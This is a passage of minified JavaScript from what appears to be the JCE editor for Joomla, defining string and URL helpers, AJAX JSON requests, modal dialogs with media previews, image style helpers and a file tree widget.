parts[1]=parts[1].replace(/\/+/g,"/"),parts.join("://")}return s.replace(/\/+/g,"/")},_toUnicode:function(s){for(var c=s.toString(16).toUpperCase();c.length<4;)c="0"+c;return"\\u"+c},safe:function(s,mode,spaces,textcase){mode=mode||"utf-8",s=s.replace(/[\s ]+/g,spaces),s=s.replace(/[\+\\\/\?\#%&<>"\'=\[\]\{\},;@\^\(\)£€$]/g,"");for(var r="",i=0,ln=s.length;i<ln;i++){var ch=s[i];/[^\w\.\-~\s ]/.test(ch)&&this._toUnicode(ch.charCodeAt(0))<"\\u007F"||(r+=ch)}if(s=r,s=s.replace(/(\.){2,}/g,""),s=s.replace(/^\./,""),s=s.replace(/\.$/,""),s=this.basename(s),textcase)switch(textcase){case"lowercase":s=s.toLowerCase();break;case"uppercase":s=s.toUpperCase()}return s},query:function(s){var p={};if(s=this.decode(s),s.indexOf("=")===-1)return p;/\?/.test(s)&&(s=s.substring(s.indexOf("?")+1)),/#/.test(s)&&(s=s.substr(0,s.indexOf("#")));var pairs=s.replace(/&amp;/g,"&").split("&");return $.each(pairs,function(){var pair=this.split("=");p[pair[0]]=pair[1]}),p},encode:function(s){var baseEntities={'"':"&quot;","'":"&#39;","<":"&lt;",">":"&gt;","&":"&amp;"};return(""+s).replace(/[<>&\"\']/g,function(chr){return baseEntities[chr]||chr})},decode:function(s){var reverseEntities={"&lt;":"<","&gt;":">","&amp;":"&","&quot;":'"',"&apos;":"'"};return s.replace(/&(#)?([\w]+);/g,function(all,numeric,value){return numeric?String.fromCharCode(value):reverseEntities[all]})},escape:function(s){return encodeURI(s)},unescape:function(s){return decodeURI(s)},encodeURI:function(s,preserve_urls){return s&&0===s.indexOf("file://")?s:(s=encodeURIComponent(decodeURIComponent(s)).replace(/%2F/g,"/"),preserve_urls&&(s=s.replace(/%(21|2A|27|28|29|3B|3A|40|26|3D|2B|24|2C|3F|25|23|5B|5D)/g,function(a,b){return String.fromCharCode(parseInt(b,16))})),s)},buildURI:function(s){return/^\s*www\./.test(s)&&(s="http://"+s),s.indexOf("{")!==-1?s:s.replace(/ /g,"%20")},toHex:function(color){var re=new RegExp("rgb\\s*\\(\\s*([0-9]+).*,\\s*([0-9]+).*,\\s*([0-9]+).*\\)","gi"),rgb=color.replace(re,"$1,$2,$3").split(",");return 3==rgb.length?(r=parseInt(rgb[0]).toString(16),g=parseInt(rgb[1]).toString(16),b=parseInt(rgb[2]).toString(16),r=1==r.length?0+r:r,g=1==g.length?0+g:g,b=1==b.length?0+b:b,"#"+r+g+b):color},toRGB:function(color){return color.indexOf("#")!=-1?(color=color.replace(new RegExp("[^0-9A-F]","gi"),""),r=parseInt(color.substring(0,2),16),g=parseInt(color.substring(2,4),16),b=parseInt(color.substring(4,6),16),"rgb("+r+","+g+","+b+")"):color},ucfirst:function(s){return s.charAt(0).toUpperCase()+s.substring(1)},formatSize:function(s,int){if(!s)return"";if(s>1048576){var n=Math.round(s/1048576*100)/100;return int?n:n+" "+Wf.translate("size_mb","MB")}if(s>1024){var n=Math.round(s/1024*100)/100;return int?n:n+" "+Wf.translate("size_kb","KB")}return int?s:s+" "+Wf.translate("size_bytes","Bytes")},formatDate:function(time,fmt){function addZeros(value,len){var i;if(value=""+value,value.length<len)for(i=0;i<len-value.length;i++)value="0"+value;return value}var date=new Date(1e3*time);return fmt=fmt||"%d/%m/%Y, %H:%M",fmt=fmt.replace("%D","%m/%d/%y"),fmt=fmt.replace("%r","%I:%M:%S %p"),fmt=fmt.replace("%Y",""+date.getFullYear()),fmt=fmt.replace("%y",""+date.getYear()),fmt=fmt.replace("%m",addZeros(date.getMonth()+1,2)),fmt=fmt.replace("%d",addZeros(date.getDate(),2)),fmt=fmt.replace("%H",""+addZeros(date.getHours(),2)),fmt=fmt.replace("%M",""+addZeros(date.getMinutes(),2)),fmt=fmt.replace("%S",""+addZeros(date.getSeconds(),2)),fmt=fmt.replace("%I",""+((date.getHours()+11)%12+1)),fmt=fmt.replace("%p",""+(date.getHours()<12?"AM":"PM")),fmt=fmt.replace("%%","%")}}}(jQuery,Wf),function($,Wf){function isJSON(s){return/^[\],:{}\s]*$/.test(s.replace(/\\(?:["\\\/bfnrt]|u[0-9a-fA-F]{4})/g,"@").replace(/"[^"\\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?/g,"]").replace(/(?:^|:|,)(?:\s*\[)+/g,""))}function uid(){var i,guid=(new Date).getTime().toString(32);for(i=0;i<5;i++)guid+=Math.floor(65535*Math.random()).toString(32);return"wf_"+guid+(counter++).toString(32)}var counter=0;Wf.JSON={request:function(func,data,callback,scope){function showError(e){var txt="";txt=$.isPlainObject(e)?e.text||"":"array"===$.type(e)?e.join("\n"):e,txt&&(txt=txt.replace(/<br([^>]+?)>/,"")),Wf.Modal.alert(txt)}var json={method:func,id:uid()};callback=callback||$.noop;var args={},fields=$(":input","form").serializeArray();$.each(fields,function(i,field){args[field.name]=field.value}),"string"===$.type(data)||"array"===$.type(data)?$.extend(json,{params:"string"===$.type(data)?Wf.String.encodeURI(data):$.map(data,function(s){return s&&"string"===$.type(s)?Wf.String.encodeURI(s):s})}):("object"===$.type(data)&&data.json&&($.extend(json,{params:data.json}),delete data.json),$.extend(args,data));var url=document.location.href;$.ajax({context:scope||this,url:url,dataType:"text",method:"post",data:"json="+JSON.stringify(json)+"&"+$.param(args)}).done(function(o){var r;if(o){if("string"===$.type(o)&&isJSON(o)){var s=$.parseJSON(o);s&&(o=s)}$.isPlainObject(o)?(o.error&&showError(o.text||o.error.message||""),r=o.result||null,r&&r.error&&r.error.length&&showError(r.error||"")):showError(/[{}]/.test(o)?"The server returned an invalid JSON response.":o)}else o={error:""};return $.isFunction(callback)?void callback.call(scope||this,r):r}).fail(function(e,status,txt){Wf.Modal.alert(status||"Server Error - "+txt)})}}}(jQuery,Wf),function($,Wf){function calculateWidth(n,cw,ch){var ww=$(n).width()-60,wh=$(n).height(),wh=wh-101,scale=Math.min(ww/cw,wh/ch);cw=Math.min(cw,Math.floor(cw*scale)),$(".uk-modal-dialog",n).css("max-width",cw+"px")}Wf.Modal={counter:0,_uid:function(p){return(p?p:"wf_")+this.counter++},dialog:function(title,data,options){return this.open(title,options,data)},open:function(title,options,data){var footer,div=document.createElement("div");options=$.extend({container:$("form").first().get(0)||"body",classes:"",id:"dialog"+this._uid(),open:$.noop,close:$.noop,beforeclose:$.noop,buttons:!1,header:!0,label:{confirm:Wf.translate("yes","Yes"),cancel:Wf.translate("no","No")}},options),options.onOpen&&(options.open=options.onOpen),options.onBeforeClose&&(options.beforeclose=options.onBeforeClose),options.onClose&&(options.close=options.onClose),$(div).addClass("uk-modal");var modal=$('<div class="uk-modal-dialog" />').appendTo(div);$(modal).addClass(options.classes),options.width&&$(modal).width(options.width),options.height&&$(modal).height(options.height),$(modal).append('<button type="button" class="uk-modal-close uk-close"></button>'),options.header&&$(modal).append('<div class="uk-modal-header"><h3>'+title+"</h3></div>"),$('<div class="uk-modal-body uk-overflow-container" id="'+options.id+'" />').appendTo(modal).append(data);var tabindex=1e3;return $(":input").each(function(){$(this).attr("tabindex",tabindex),tabindex++}),options.buttons&&(footer=$('<div class="uk-modal-footer uk-text-right" />'),$.each(options.buttons,function(i,o){var btn=$('<button class="uk-button uk-margin-small-left" />').click(function(e){e.preventDefault(),$.isFunction(o.click)&&o.click.call(this,e)});$.each(o.attributes,function(k,v){"class"===k?$(btn).addClass(v):$(btn).attr(k,v)}),$(btn).attr("tabindex",tabindex),o.text&&$(btn).append('<span class="uk-text">'+o.text+"</span>"),o.icon&&$(btn).prepend('<i class="uk-button-'+o.icon+" "+o.icon+'" />&nbsp;'),$(footer).append(btn),tabindex++})),$(modal).append(footer),$(div).on("modal.open",function(ev){options.open.call(this,ev),$("[autofocus]",div).focus()}).on("modal.close",function(e,ev){options.beforeclose.call(this,ev),$(this).off("modal.open modal.close keyup.modal").removeClass("uk-open"),$("body").off("keyup.modal"),window.setTimeout(function(){$(div).hide().detach()},500),options.close.call(this,ev)}),$(".uk-modal-close",div).click(function(e){$(div).trigger("modal.close",e),e.preventDefault()}),$("body").on("keyup.modal",function(e){27===e.which&&($(div).trigger("modal.close"),e.preventDefault(),e.stopPropagation())}),$(div).one("keyup.modal",function(e){13===e.which&&(e.preventDefault(),e.stopPropagation(),$("button:focus",this).length?$(div).find(".uk-modal-dialog button:focus").triggerHandler("click"):$(div).find('.uk-modal-dialog button[type="submit"]').triggerHandler("click"),options.close_on_submit!==!1&&$(this).trigger("modal.close"))}),$(div).appendTo(options.container),$(div).show().scrollTop(0),$(div).addClass("uk-open").trigger("modal.open").attr("aria-hidden",!1),$(div).on("modal.assetloaded",function(){$(modal).css("top",($(div).height()-$(modal).outerHeight())/2)}).delay(10).trigger("modal.assetloaded"),div},confirm:function(s,cb,options){var html="<p>"+s+"</p>";return options=$.extend(!0,{label:{confirm:Wf.translate("yes","Yes"),cancel:Wf.translate("no","No")}},options),options=$.extend(!0,{classes:"uk-modal-confirm",buttons:[{text:options.label.confirm,icon:"uk-icon-check",click:function(e){cb.call(this,!0)},attributes:{type:"submit",class:"uk-button-primary uk-modal-close",autofocus:!0}},{text:options.label.cancel,icon:"uk-icon-close",click:function(){cb.call(this,!1)},attributes:{class:"uk-modal-close"}}]},options||{}),this.open(Wf.translate("confirm","Confirm"),options,html)},alert:function(s,options){var html="<p>"+s+"</p>";return options=$.extend({label:{confirm:Wf.translate("ok","Ok")}},options),options=$.extend({classes:"uk-modal-alert",buttons:[{text:options.label.confirm,attributes:{type:"submit",class:"uk-modal-close",autofocus:!0}}]},options||{}),this.open(Wf.translate("alert","Alert"),options,html)},prompt:function(title,cb,options){var html='<div class="uk-form-row">';return options=$.extend(!0,{id:"dialog-prompt",value:"",text:"",multiline:!1,elements:"",label:{confirm:Wf.translate("ok","OK"),cancel:Wf.translate("cancel","Cancel")}},options),html+=options.text?'<label class="uk-form-label uk-width-3-10" for="'+options.id+'">'+options.text+'</label><div class="uk-form-controls uk-width-7-10 uk-margin-remove">':'<div class="uk-form-controls uk-width-1-1 uk-margin-remove">',html+=options.multiline?'<textarea id="'+options.id+'-input" required>'+options.value+"</textarea>":'<input id="'+options.id+'-input" type="text" value="'+options.value+'" />',html+="</div>",html+="</div>",options.elements&&(html+=options.elements),options=$.extend(!0,{classes:"uk-modal-prompt",buttons:[{attributes:{type:"submit",class:"uk-button-primary",autofocus:!0},text:options.label.confirm,icon:"uk-icon-check",click:function(e){var args=[],$inp=$("#"+options.id+"-input"),v=$inp.val();return""===v?($inp.focus(),!1):(options.elements&&$(":input","#"+options.id).not($inp).each(function(){args.push($(this).val())}),cb.call(this,v,args),void(options.close_on_submit!==!1&&$inp.parents(".uk-modal").trigger("modal.close")))}}],open:function(){var n=document.getElementById(options.id+"-input");n&&setTimeout(function(){n.focus(),"INPUT"===n.nodeName&&n.setSelectionRange&&n.value&&n.setSelectionRange(n.value.length,n.value.length)},350)}},options),this.open(title,options,html)},upload:function(options){var div=$("<div />").attr("id","upload-body").append('<div id="upload-queue-block" class="uk-placeholder">   <div id="upload-queue"></div>   <input type="file" size="40" /></div><div id="upload-options" class="uk-placeholder">'+(options.elements||"")+"</div>");return options.upload=options.upload||$.noop,options=$.extend({classes:"uk-modal-dialog-large uk-modal-upload",resizable:!1,buttons:[{text:Wf.translate("browse","Add Files"),icon:"uk-icon-search",attributes:{id:"upload-browse",class:"uk-button-success",autofocus:!0}},{text:Wf.translate("upload","Upload"),click:function(){return options.upload.call()},attributes:{id:"upload-start",class:"uk-button-primary"},icon:"uk-icon-cloud-upload"},{text:Wf.translate("close","Close"),icon:"uk-icon-close",attributes:{class:"uk-modal-close uk-hidden-small"}}]},options),this.open(Wf.translate("upload","Upload"),options,div)},iframe:function(name,url,options){function calculateWidth(n){var ph=$(".uk-modal-dialog",n).outerHeight(),wh=$(n).height(),cw=$(".uk-modal-body",n).width(),ch=$(".uk-modal-body",n).height(),mh=ph-$(".uk-modal-body",n).height();ph=mh+ch,cw=Math.min(cw,Math.floor(cw*Math.min(wh/ph,1))),$(".uk-modal-dialog",n).css("max-width",cw-20+"px")}var div=document.createElement("div"),w=options.width,h=options.height;options=$.extend({classes:"uk-modal-dialog-large uk-modal-preview",open:function(e){var iframe=document.createElement("iframe");$(div).addClass("loading"),$(iframe).attr({src:url,scrolling:"auto",frameborder:0}).load(function(){$.isFunction(options.onFrameLoad)&&options.onFrameLoad.call(this),$(div).removeClass("loading")}),$(div).addClass("iframe-preview").append(iframe),calculateWidth(e.target,w,h)}},options);var name=name||Wf.translate("preview","Preview");return this.open(name,options,div)},media:function(name,url,options){options=options||{};var w,h,div=document.createElement("div");return $.extend(options,{classes:"uk-modal-dialog-large uk-modal-preview",open:function(e){if(/\.(jpg|jpeg|gif|png)/i.test(url)){$(div).addClass("image-preview loading");var img=new Image,loaded=!1;img.onload=function(){return!loaded&&(w=img.width,h=img.height,$(".image-preview").removeClass("loading").append('<img src="'+url+'" alt="'+Wf.String.basename(url)+'" />').parent().css("max-width",w+"px"),loaded=!0,calculateWidth(e.target,w,h),$(".image-preview").click(function(e){$(e.target).trigger("modal.close",e)}),void window.setTimeout(function(){$(".uk-modal").trigger("modal.assetloaded")},0))},/\?/.test(url)||(url+="?"+(new Date).getTime()),img.src=url}else if(/\.pdf$/i.test(url))$(div).addClass("media-preview loading"),$.support.pdf?$(div).html('<object data="'+url+'" type="application/pdf"></object>').removeClass("big-loader"):$(div).html('<iframe src="'+url+'" frameborder="0"></iframe>').removeClass("big-loader"),$("iframe, object",div).on("load",function(){calculateWidth(e.target,w,h),$(".uk-modal").trigger("modal.assetloaded")});else{$(div).addClass("media-preview loading");var mediaTypes={flash:{classid:"clsid:d27cdb6e-ae6d-11cf-96b8-444553540000",type:"application/x-shockwave-flash",codebase:"http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"},shockwave:{classid:"clsid:166b1bca-3f9c-11cf-8075-444553540000",type:"application/x-director",codebase:"http://download.macromedia.com/pub/shockwave/cabs/director/sw.cab#version=8,5,1,0"},windowsmedia:{classid:"clsid:6bf52a52-394a-11d3-b153-00c04f79faa6",type:"application/x-mplayer2",codebase:"http://activex.microsoft.com/activex/controls/mplayer/en/nsmp2inf.cab#Version=5,1,52,701"},quicktime:{classid:"clsid:02bf25d5-8c17-4b23-bc80-d3488abddc6b",type:"video/quicktime",codebase:"http://www.apple.com/qtactivex/qtplugin.cab#version=6,0,2,0"},divx:{classid:"clsid:67dabfbf-d0ab-41fa-9c46-cc0f21721616",type:"video/divx",codebase:"http://go.divx.com/plugin/DivXBrowserPlugin.cab"},realmedia:{classid:"clsid:cfcdaa03-8be4-11cf-b84b-0020afbbccfa",type:"audio/x-pn-realaudio-plugin"},java:{classid:"clsid:8ad9c840-044e-11d1-b3e9-00805f499d93",type:"application/x-java-applet",codebase:"http://java.sun.com/products/plugin/autodl/jinstall-1_5_0-windows-i586.cab#Version=1,5,0,0"},silverlight:{classid:"clsid:dfeaf541-f3e1-4c24-acac-99c30715084a",type:"application/x-silverlight-2"},video:{type:"video/mp4"},audio:{type:"audio/mp3"}},mimes={};!function(data){var i,y,ext,items=data.split(/,/);for(i=0;i<items.length;i+=2)for(ext=items[i+1].split(/ /),y=0;y<ext.length;y++)mimes[ext[y]]=items[i]}("application/x-director,dcr,application/x-mplayer2,wmv wma avi,video/divx,divx,application/x-shockwave-flash,swf swfl,audio/mpeg,mpga mpega mp2 mp3,audio/ogg,ogg spx oga,audio/x-wav,wav,video/mpeg,mpeg mpg mpe,video/mp4,mp4 m4v,video/ogg,ogg ogv,video/webm,webm,video/quicktime,qt mov,video/x-flv,flv,video/vnd.rn-realvideo,rv,video/3gpp,3gp,video/x-matroska,mkv");var ext=Wf.String.getExt(url);ext=ext.toLowerCase();var type,props,mt=mimes[ext];$.each(mediaTypes,function(k,v){v.type&&v.type==mt&&(type=k,props=v)}),/^(mp4|m4v|og(g|v)|webm)$/i.test(ext)&&(type="video",props={type:mt}),/^(mp3|oga)$/i.test(ext)&&(type="audio",props={type:mt}),/^(flv|f4v)$/i.test(ext)&&(type="flv",props={});var swf=Wf.getURI(!0)+"components/com_jce/editor/libraries/mediaplayer/mediaplayer.swf";if(type&&props){switch(type){case"audio":case"video":var ns='<p style="margin-left:auto;">'+Wf.translate("media_not_supported","Media type not supported by this browser")+"</p>",support={video:{h264:["mp4","m4v"],webm:["webm"],ogg:["ogv","ogg"]},audio:{mp3:["mp3"],ogg:["oga","ogg"]}},hasSupport=!1;$.each(support[type],function(k,v){$.inArray(ext,v)!==-1&&(hasSupport=$.support[type]&&$.support[type][k]!==!1)}),hasSupport?"video"==type?$(div).append('<video autoplay="autoplay" controls="controls" preload="none" type="'+props.type+'" src="'+url+'"></video>'):$(div).addClass("media-preview-audio").append('<audio autoplay="autoplay" controls="controls" preload="none" type="'+props.type+'" src="'+url+'"></audio>'):/^m(p3|p4|4v)$/i.test(ext)?(url=Wf.URL.toAbsolute(url),$(div).html('<object type="application/x-shockwave-flash" data="'+swf+'"><param name="movie" value="'+swf+'" /><param name="flashvars" value="controls=true&autoplay=true&src='+url+'" /></object>'),"mp3"==ext&&$("object",div).addClass("audio")):$(div).html(ns).removeClass("loading");break;case"flv":url=Wf.URL.toAbsolute(url),$(div).append('<object type="application/x-shockwave-flash" data="'+swf+'"><param name="movie" value="'+swf+'" /><param name="flashvars" value="controls=true&autoplay=true&src='+url+'" /></object>');break;case"flash":$(div).append('<object type="'+props.type+'" data="'+url+'"><param name="movie" value="'+url+'" /></object>');
break;default:$(div).append('<object classid="'+props.classid+'"><param name="src" value="'+url+'" /><embed src="'+url+'" type="'+props.type+'"></embed></object>')}$("iframe, object, embed, video, audio",div).on("load loadedmetadata",function(){$(div).removeClass("loading"),calculateWidth(e.target,w,h),$(".uk-modal").trigger("modal.assetloaded")})}}calculateWidth(e.target,w,h)}}),this.open(Wf.translate("preview","Preview")+" - "+name,options,div)}}}(jQuery,Wf),function($){$.fn.borderWidget=function(){return $(this).on("click change",function(){var state=this.checked;$('input[id*="border_"], select[id*="border_"], label[for*="border_"]').prop("disabled",!state).toggleClass("uk-text-muted",!state),$(this).trigger("border:change")}).change(),this},$.extend(Wf,{getAttrib:function(e,at){var v,ed=tinyMCEPopup.editor;switch(at){case"width":case"height":v=ed.dom.getAttrib(e,at)||e.style[at]||"",v.indexOf("px")!==-1&&(v=parseInt(v));break;case"align":if(v=ed.dom.getAttrib(e,"align"))return v;if(v=ed.dom.getStyle(e,"float"))return v;if(v=ed.dom.getStyle(e,"vertical-align"))return v;if("block"===e.style.display&&"auto"===ed.dom.getStyle(e,"margin-left")&&"auto"===ed.dom.getStyle(e,"margin-right"))return"center";break;case"margin-top":case"margin-bottom":if(v=ed.dom.getStyle(e,at))return/auto|inherit/.test(v)?v:/[a-z%]/i.test(v)&&v.indexOf("px")===-1?v:parseInt(v);if(v=ed.dom.getAttrib(e,"vspace"))return parseInt(v.replace(/[^-0-9]/g,""));break;case"margin-left":case"margin-right":if(v=ed.dom.getStyle(e,at))return/auto|inherit/.test(v)?v:/[a-z%]/i.test(v)&&v.indexOf("px")===-1?v:parseInt(v);if(v=ed.dom.getAttrib(e,"hspace"))return parseInt(v.replace(/[^-0-9]/g,""));break;case"border-width":case"border-style":case"border-color":v="",tinymce.each(["top","right","bottom","left"],function(n){s=at.replace(/-/,"-"+n+"-"),sv=ed.dom.getStyle(e,s),(""!==sv||sv!=v&&""!==v)&&(v=""),sv&&(v=sv)}),""!==v&&$("#border").prop("checked",!0),"border-width"!=at&&"border-style"!=at||""!==v||(v="inherit"),"border-color"==at&&(v=Wf.String.toHex(v)),"border-width"==at&&/[0-9][a-z]/.test(v)&&(v=parseFloat(v))}return v},setMargins:function(){},setBorder:function(){},setDimensions:function(){},setStyles:function(){var ed=tinyMCEPopup.editor,$img=$("#sample");if($img.length){$img.attr("style",$("#style").val()),$.each(["top","right","bottom","left"],function(i,k){var v=ed.dom.getStyle($img.get(0),"margin-"+k);v&&!/[a-z%]/i.test(v)&&(v=parseInt(v)),$("#margin_"+k).val(v)}),this.setMargins(!0);var border=!1;$.each(["width","color","style"],function(i,k){var v=ed.dom.getStyle($img.get(0),"border-"+k);""==v&&$.each(["top","right","bottom","left"],function(i,n){var sv=ed.dom.getStyle($img.get(0),"border-"+n+"-"+k);(""!==sv||sv!=v&&""!==v)&&(v=""),sv&&(v=sv)}),""!==v&&(border=!0),"width"==k&&(v=/[0-9][a-z]/.test(v)?parseInt(v):v),"color"==k&&v&&(v=Wf.String.toHex(v),"#"===v.charAt(0)&&(v=v.substr(1))),border&&($("#border").attr("checked","checked"),$("#border_"+k).val(v),$("#border~:input, #border~span, #border~label").attr("disabled",!1).toggleClass("uk-text-muted",!1),"color"==k&&$("#border_"+k).trigger("pick"))}),$("#align").val(function(){var v=$img.css("float")||$img.css("vertical-align");return v?v:"auto"===$img.css("margin-left")&&"auto"===$img.css("margin-right")&&"block"===$img.css("display")?"center":""})}},updateStyles:function(){function compressBorder(n){var s=[];$.each(n,function(i,k){return k="border-"+k,v=styles[k],"none"==v?void delete styles[k]:void(v&&(s.push(styles[k]),delete styles[k]))}),s.length&&(styles.border=s.join(" "))}var v,k,ed=tinyMCEPopup.editor,img=$("#sample");if(img.length){$(img).attr("style",$("#style").val()),$(img).attr("dir",$("#dir").val()),$(img).css("float",""),v=$("#align").val(),"center"==v?($(img).css({display:"block","margin-left":"auto","margin-right":"auto"}),$(img).css({float:"","vertical-align":""}),$("#clear").attr("disabled",!0),$("#margin_left, #margin_right").val("auto")):(/(top|middle|bottom)/.test(v)&&$(img).css("vertical-align",v),$(img).css("float",v).css("display",function(){return"block"===this.style.display&&"auto"===this.style.marginLeft&&"auto"===this.style.marginRight?"":this.style.display}),$("#margin_left, #margin_right").val(function(){return"auto"===this.value?"":this.value}),$("#margin_check").is(":checked")&&$("#margin_top").siblings('input[type="text"]').val($("#margin_top").val()),$("#clear").attr("disabled",!v)),v=$("#clear:enabled").val(),v?($("#sample-br").get(0)||$(img).after('<br id="sample-br" />'),$("#sample-br").css("clear",v)):$("#sample-br").remove(),$.each(["width","color","style"],function(i,k){v=$("#border").is(":checked")?$("#border_"+k).val():"","inherit"==v&&(v=""),"width"!=k||/[a-z%]/i.test(v)||(v+="px"),"color"==k&&"#"!==v.charAt(0)&&(v="#"+v),$(img).css("border-"+k,v)}),$.each(["top","right","bottom","left"],function(i,k){v=$("#margin_"+k).val(),v&&!/[a-z%]/i.test(v)&&(v+="px"),$(img).css("margin-"+k,v)});var styles=ed.dom.parseStyle($(img).attr("style"));compressBorder(["width","style","color","image"]);for(k in styles)(k.indexOf("-moz-")>=0||k.indexOf("-webkit-")>=0)&&delete styles[k];$("#style").val(ed.dom.serializeStyle(styles))}},setDefaults:function(s){var n,v;for(n in s)v=s[n],"direction"===n&&(n="dir"),"default"===v&&(v=""),$("#"+n).is(":checkbox")?$("#"+n).prop("checked",parseFloat(v)):($("#"+n).val(v),"string"==typeof v&&"#"===v.charAt(0)&&$("#"+n).change())}})}(jQuery),function($,Wf){var Tree=function(element,options){this.element=element,this.options=$.extend({collapseTree:!1,charLength:!1},options),this._init()},scrollEvents="click.scroll mousedown.scroll wheel.scroll mousewheel.scroll keyup.scroll touchmove.scroll";Tree.prototype={_trigger:function(ev,args){$(this.element).trigger("tree:"+ev,args)},_init:function(){var self=this;this.element&&(this._trigger("init",function(){self.nodeEvents()}),$(this.element).on(scrollEvents,function(){$(this).stop()}))},nodeEvents:function(parent){var self=this;parent||(parent=this.element),$("ul:first",parent).attr({role:"tree"}).addClass("uk-tree").children("li").attr("aria-level",1),$(parent).on("click",function(e){var n=e.target,p=$(n).parents("li").get(0);e.preventDefault(),e.stopPropagation(),$(n).hasClass("uk-icon")&&(n=n.parentNode),$(n).hasClass("uk-tree-toggle")?self.toggleNode(e,p):self._trigger("nodeclick",p),$(self.element).find(".uk-tree-active").removeClass("uk-tree-active"),$(p).addClass("uk-tree-active")}),$("li",parent).attr({role:"treeitem"}).attr("aria-expanded",function(){return!!$(this).hasClass("uk-tree-open")}).attr("aria-level",function(i,v){if(!v)return parseFloat($(this.parentNode.parentNode).attr("aria-level"))+1}),$("li",parent).find(".uk-tree-row").attr("role","presentation").prepend('<span class="uk-tree-toggle" role="presentation"><i class="uk-icon uk-icon-plus-square-o"></i><i class="uk-icon uk-icon-minus-square-o"></i></span>'),$("li",parent).not(".uk-tree-root").find(".uk-tree-icon").attr("role","presentation").append('<i class="uk-icon uk-icon-folder"></i><i class="uk-icon uk-icon-folder-open"></i>')},_hasNodes:function(parent){"string"==$.type(parent)&&(parent=this._findParent(parent));var c=$("li",parent);return c.length>1||1==c.length&&!$(c).is(":empty")},_isNode:function(id,parent){var n=this._findNode(id,parent);return!!n.length},_getNode:function(parent){return"string"===$.type(parent)&&(parent=this._findParent(parent)),$(".uk-tree-node",parent)},_resetNodes:function(){$("li",this.element).removeClass("uk-tree-open")},renameNode:function(id,name){var parent=Wf.String.dirname(id),node=this._findNode(id,parent);$(node).attr("data-id",name),$("a:first .uk-tree-text",node).text(Wf.String.basename(name)),$('li[data-id^="'+this._escape(encodeURI(id))+'"]',node).each(function(n){var nt=$(n).attr("data-id");$(n).attr("data-id",nt.replace(id,name))})},removeNode:function(id){var parent=Wf.String.dirname(id),node=this._findNode(id,parent),ul=$(node).parent("ul");$(node).remove(),ul&&!this._hasNodes(ul)&&$(ul).remove()},sortNodes:function(parent){var p=$(parent).parent();parent=$(parent).detach();var list=$("li",parent).map(function(){var v=$(".uk-tree-text",this).attr("title");return{value:v,element:this}}).get();list.sort(function(a,b){return a.value<b.value?-1:b.value<a.value?1:0}),$.each(list,function(i,item){$(parent).append(item.element)}),$(p).append(parent)},createNode:function(nodes,parent,sortNodes){var self=this;if(nodes.length)if(parent||(parent=Wf.String.dirname($(nodes[0]).attr("data-id")||$(nodes[0]).attr("id"))),"string"==$.type(parent)&&(parent=this._findParent(parent)),nodes=$.grep(nodes,function(node){return 0===self._findNode(node.id,parent).length}),$(this.element).find(".uk-tree-active").removeClass("uk-tree-active"),nodes&&nodes.length){var ul=$(".uk-tree-node:first",parent)||null;ul.length||(ul=document.createElement("ul"),$(ul).attr({role:"group"}).addClass("uk-tree-node").append('<li role="treeitem" aria-expanded="false"></li>'),$(parent).append(ul)),$.each(nodes,function(i,node){if(self._isNode(node.id,parent))self.toggleNodeState(parent,1);else{var title=node.name||node.id;title=Wf.String.decode(title),name=title;var url=node.url||"#";node.class||(node.class="folder");var html='<li data-id="'+self._escape(encodeURI(node.id))+'" class="'+node.class+'" aria-level="'+parseFloat($(parent).attr("aria-level"))+'1">';html+='<div class="uk-tree-row">',node.class.indexOf("folder")>=0&&(html+='<span class="uk-tree-toggle" role="presentation"> <i class="uk-icon uk-icon-plus-square-o"></i> <i class="uk-icon uk-icon-minus-square-o"></i></span>'),html+='<a href="'+url+'" title="'+title+'"><span class="uk-tree-icon">',html+=node.class.indexOf("folder")>=0?'<i role="presentation" class="uk-icon uk-icon-folder"></i><i role="presentation" class="uk-icon uk-icon-folder-open"></i>':'<i role="presentation" class="uk-icon uk-icon-file-text-o"></i>',html+="</span>",html+='<span class="uk-tree-text uk-width-9-10 uk-margin-small-left uk-text-truncate" title="'+name+'">'+name+"</span>",html+="</a></div>",html+="</li>",$(ul).append(html),self.toggleNodeState(parent,1),self._trigger("nodecreate")}}),sortNodes!==!1&&$(ul).children().length>1&&self.sortNodes(ul)}else this.toggleNodeState(parent,1)},_findParent:function(el){return"string"===$.type(el)?$('li[data-id="'+this._encode(el)+'"]:first',this.element):$(el).parents("li:first")},_findNode:function(id,parent){return parent&&"/"!==parent||(parent=this.element),"string"===$.type(parent)&&(parent=this._findParent(parent)),$(parent).find('li[data-id="'+this._escape(this._encode(id))+'"]:first')},toggleLoader:function(node){$(node).toggleClass("uk-tree-loading")},_collapseNodes:function(ex){var self=this;ex||this._resetNodes();var parent=$(ex).parent();$("li",parent).each(function(){var el=this;if(el!==ex&&$(el).parent()!==parent){self.toggleNodeState(el,0);var child=self._getNode(el);$(child).addClass("uk-tree-hide")}})},toggleNodeState:function(node,state){if(state?$(node).addClass("uk-tree-open").attr("aria-expanded",!0):$(node).removeClass("uk-tree-open").attr("aria-expanded",!1),state){if($(node).hasClass("uk-tree-root"))return;var c=$(".uk-tree-node",node);$(node).hasClass("uk-tree-open")?$(c).removeClass("uk-tree-hide"):$(c).addClass("uk-tree-hide")}},toggleNode:function(e,node){if(e.shiftKey)return this._trigger("nodeload",node);var child=this._getNode(node);child.length?($(child).toggleClass("uk-tree-hide"),this.toggleNodeState(node,!$(child).hasClass("uk-tree-hide"))):$(node).hasClass("uk-tree-open")?this.toggleNodeState(node,0):this._trigger("nodeload",node),this.options.collapseTree&&this._collapseNodes(node)},refreshNode:function(node){var parent=this._findParent(node);return this._trigger("nodeload",parent)},_encode:function(s){return s=decodeURIComponent(s),encodeURIComponent(s).replace(/%2F/gi,"/")},_escape:function(s){return s.replace(/'/,"%27")},scrollTo:function(id){var el=this.element,node=this._findNode(id);if($(node).length){var padding=parseInt($(node).css("padding-left"))+parseInt($(this.element).css("padding-left")),left=$(node).get(0).offsetLeft-padding,top=$(node).get(0).offsetTop-($(node).outerHeight()+2);$(el).find(".uk-tree-active").removeClass("uk-tree-active"),$(el).animate({scrollLeft:Math.round(left)},500).animate({scrollTop:Math.round(top)},1500,function(){$(this).off(scrollEvents)}),$(node).addClass("uk-tree-active")}}},$.fn.tree=function(options){var inst=new Tree(this,options);return $(this).on("tree:createnode",function(e,node,parent,sortNodes){"string"==typeof 